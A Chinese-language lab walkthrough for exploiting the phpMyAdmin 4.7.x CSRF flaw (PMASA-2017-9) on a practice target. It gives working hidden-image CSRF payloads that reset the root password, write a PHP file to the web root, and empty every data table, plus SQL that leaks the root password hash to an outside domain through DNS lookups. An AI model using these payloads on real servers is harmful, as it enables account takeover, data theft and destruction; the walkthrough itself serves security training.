phpMyAdmin 4.7.x CSRF 漏洞利用


作者:Ambulong

 

phpMyAdmin是個知名MySQL/MariaDB在線管理工具,phpMyAdmin團隊在4.7.7版本中修復了一個危害嚴重的CSRF漏洞(PMASA-2017-9),攻擊者可以通過誘導管理員訪問惡意頁面,悄無聲息地執行任意SQL語句。

該篇文章我們將結合VulnSpy的在線phpMyAdmin環境來熟悉該漏洞的利用。

在線 phpMyAdmin CSRF 演練地址:https://www.vulnspy.com/?u=pmasa-2017-9

注:重啟演示靶機即可重置靶機

1 在線創建 phpMyAdmin 環境

點擊 VulnSpy 提供的創建靶機地址(https://www.vsplate.com/?github=vulnspy/PMASA-2017-9

image.png

跳轉到 VSPlate 后,直接點擊GO按鈕,便會自動創建一個 phpMyAdmin 環境

image.png

image.png

 

打開演示地址的鏈接,我們的 phpMyAdmin 就創建完成了。

image.png

使用帳號 root ,密碼 toor ,登錄 phpMyAdmin 。根據頁面信息,我們可以發現當前 phpMyAdmin 的版本為 4.7.6,剛好匹配存在漏洞的 phpMyAdmin 版本。

image.png

2 CSRF 漏洞利用 – 修改當前數據庫用戶密碼

我們知道,如果要利用CSRF來刪除或修改數據庫內容,通查情況下需要提前知道數據庫名、表名和字段名。這樣利用顯得有點復雜,成功率也有限,因此本文我們將介紹幾種較為通用的利用方式。

在MySQL中支持使用SQL語句來修改當前用戶密碼。比如將當前用戶密碼修改為[www.vulnspy.com](http://www.vulnspy.com),對應的SQL語句為:

SET passsword=PASSWORD('www.vulnspy.com'); 

利用演示

2.1 模擬管理員登錄phpMyAdmin的狀態。

用帳號 root 密碼 toor 登錄 phpMyAdmin 。

image.png

2.2 創建含有惡意代碼的頁面。

文件名 2.payload.html (將下面的域名換成自己的靶機域名)

<p>Hello World</p>
<img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=SET%20password %20=%20PASSWORD(%27www.vulnspy.com%27)" style="display:none;" /> 

2.3 用瀏覽器打開含有惡意代碼的文件 2.payload.html

image.png

回到上一步打開的phpMyAdmin頁面,發現已自動退出,而且用原來的密碼 toor 已經無法登錄。

image.png

2.4 使用密碼 www.vulnspy.com 登錄成功,表明利用成功

image.png

3 CSRF 漏洞利用 – 寫文件

MySQL支持將查詢結果寫到文件當中,我們可以利用該特性來寫入PHP文件。比如將代碼<?php phpinfo();?>寫到文件/var/www/html/test.php中,對應的SQL語句為:

select '<?php phpinfo();?>' into outfile '/var/www/html/test.php'; 

利用演示

3.1 將上一個演示步驟相同,只需將2.2中的文件代碼改成:

<p>Hello World</p> <img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';" style="display:none;" /> 

3.2 用瀏覽器打開含有惡意代碼的文件

3.3 訪問 test.php

image.png

可見文件已經寫入成功。

4 CSRF 漏洞利用 – 獲取數據

MySQL提供了load_file()函數來支持讀取文件內容的操作。比如讀取文件/etc/passwd內容,,對應的SQL語句為:

select load_file('/etc/passwd'); 

但是對於CSRF漏洞來說,該讀取操作實在目標用戶端執行的,我們依然無法知道文件讀取的結果。而load_file()在Windows下支持從網絡共享文件夾中讀取文件,如\\192.168.1.100\share\vulnspy.txt。網絡共享文件的地址處不僅可以填寫IP還可以填寫域名,我們可以通過DNS解析來獲取查詢的數據。

此處需要用到 DNSLOG 之類的工具:https://github.com/BugScanTeam/DNSLog, 這類工具可以記錄域名的 DNS 解析記錄

比如通過DNS解析來獲取當前 MySQL root 用戶密碼,對應的SQL語句為:

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.vulnspy.com\\test')); 

獲取當前數據庫名:

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.vulnspy.com\\test')); 

如果請求成功,查詢結果將作為二級域名的一部分出現在我們的 DNS 解析記錄當中。

該環境暫無法演示

5 CSRF 漏洞利用 – 清空所有數據表

如果上面幾種利用方式都無法直接造成直接的影響,我們可以利用SQL語句來清空當前MySQL用戶可操作的所有數據表。

我們用命令

SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1 

來獲取數據名和表名,並將其拼接成刪除語句(如:DELETE FROM vulnspy_tables.inv),通過 execute 來執行生成的刪除語句:

set @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1); prepare stmt from @del; execute stmt; 

但是 execute 一次只能執行一條SQL語句,因此我們可以利用循環語句來逐一執行:

DROP PROCEDURE IF EXISTS EMPT; DELIMITER $$     CREATE PROCEDURE EMPT()     BEGIN         DECLARE i INT;         SET i = 0;         WHILE i < 100 DO             SET @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT i,1);             PREPARE STMT FROM @del;             EXECUTE STMT;             SET i = i +1;         END WHILE;     END $$ DELIMITER ; CALL EMPT(); 

利用演示

5.1 Payload如下

<p>Hello World</p>
<img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/import.php?db=mysql&table=user&sql_query=DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+PROCEDURE+EMPT%28%29%0A++++BEGIN%0A++++++++DECLARE+i+INT%3B%0A++++++++SET+i+%3D+0%3B%0A++++++++WHILE+i+%3C+100+DO%0A++++++++++++SET+%40del+%3D+%28SELECT+CONCAT%28%27DELETE+FROM+%27%2CTABLE_SCHEMA%2C%27.%27%2CTABLE_NAME%29+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA+NOT+LIKE+%27%25_schema%27+and+TABLE_SCHEMA%21%3D%27mysql%27+LIMIT+i%2C1%29%3B%0A++++++++++++PREPARE+STMT+FROM+%40del%3B%0A++++++++++++EXECUTE+stmt%3B%0A++++++++++++SET+i+%3D+i+%2B1%3B%0A++++++++END+WHILE%3B%0A++++END+%24%24%0ADELIMITER+%3B%0A%0ACALL+EMPT%28%29%3B%0A" style="display:none;" /> 

5.2 用瀏覽器打開含有惡意代碼的文件

5.3 回到 phpMyAdmin 中查看數據

可以發現數據庫vulnspy_tables和數據庫vulnspy_test中的數據已經被清空。

image.png

6 總結

這個 phpMyAdmin 的 CSRF 漏洞利用有點類似 SQL 盲注的利用,但是對於漏洞觸發的時間不可控(即不知道管理員何時會訪問含有惡意代碼的頁面),因此需要更加通用的利用方式。通過該實驗,不僅了解該漏洞的內容,還可以更加熟悉CSRF漏洞的利用。

本文轉載自:phpMyAdmin 4.7.x CSRF 漏洞利用 - https://blog.vulnspy.com/2018/06/10/phpMyAdmin-4-7-x-XSRF-CSRF-vulnerability-exploit/

 

i春秋推出優享會員制,開通會員可以免費暢享多類課程、實驗、CTF賽題等付費內容,並可享有包括會員日專屬福利、就業推薦等多種特權福利,更多活動詳情可點擊:https://bbs.ichunqiu.com/thread-40795-1-1.html了解哦~


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM